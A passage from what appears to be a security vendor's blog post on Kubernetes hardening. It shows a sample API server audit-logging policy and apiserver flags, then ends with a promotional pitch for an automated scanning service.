create namespaces PSS bypass via unlabeled namespace Restrict to platform teams; use admission webhooks to enforce PSS labels on creation.

Enabling API Server Audit Logging

Audit logging is the detection layer that makes post-incident analysis possible. Configure it in the API server:

# /etc/kubernetes/audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# Log all writes to RBAC resources at RequestResponse level
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]

# Log secret access at Metadata level (don't log values)
- level: Metadata
  resources:
  - group: ""
    resources: ["secrets", "configmaps"]

# Log pod exec at RequestResponse
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods/exec", "pods/portforward", "pods/proxy"]

# Log auth failures
- level: Request
  omitStages: ["RequestReceived"]
  namespaces: ["kube-system"]

# Minimal logging for other requests
- level: Metadata

Add the following flags to the kube-apiserver manifest to enable it:

# In /etc/kubernetes/manifests/kube-apiserver.yaml
- --audit-log-path=/var/log/kubernetes/audit/audit.log
- --audit-log-maxage=30
- --audit-log-maxbackup=10
- --audit-log-maxsize=100
- --audit-policy-file=/etc/kubernetes/audit-policy.yaml

Namespace Isolation Checklist

Kubernetes RBAC misconfigurations are among the most impactful findings in cloud-native penetration tests — and they are notoriously difficult to catch with manual review alone. A single overly permissive ClusterRoleBinding or an unintentionally mounted ServiceAccount token can be the difference between a contained incident and a full cluster compromise.

Ironimo brings professional-grade security scanning to your Kubernetes-backed applications — the web and API surfaces that sit above the cluster layer — identifying the injection vulnerabilities, authentication weaknesses, and API security issues that RBAC audits don't cover. Automated, on demand, no manual setup required.

Start free scan
← Back to Blog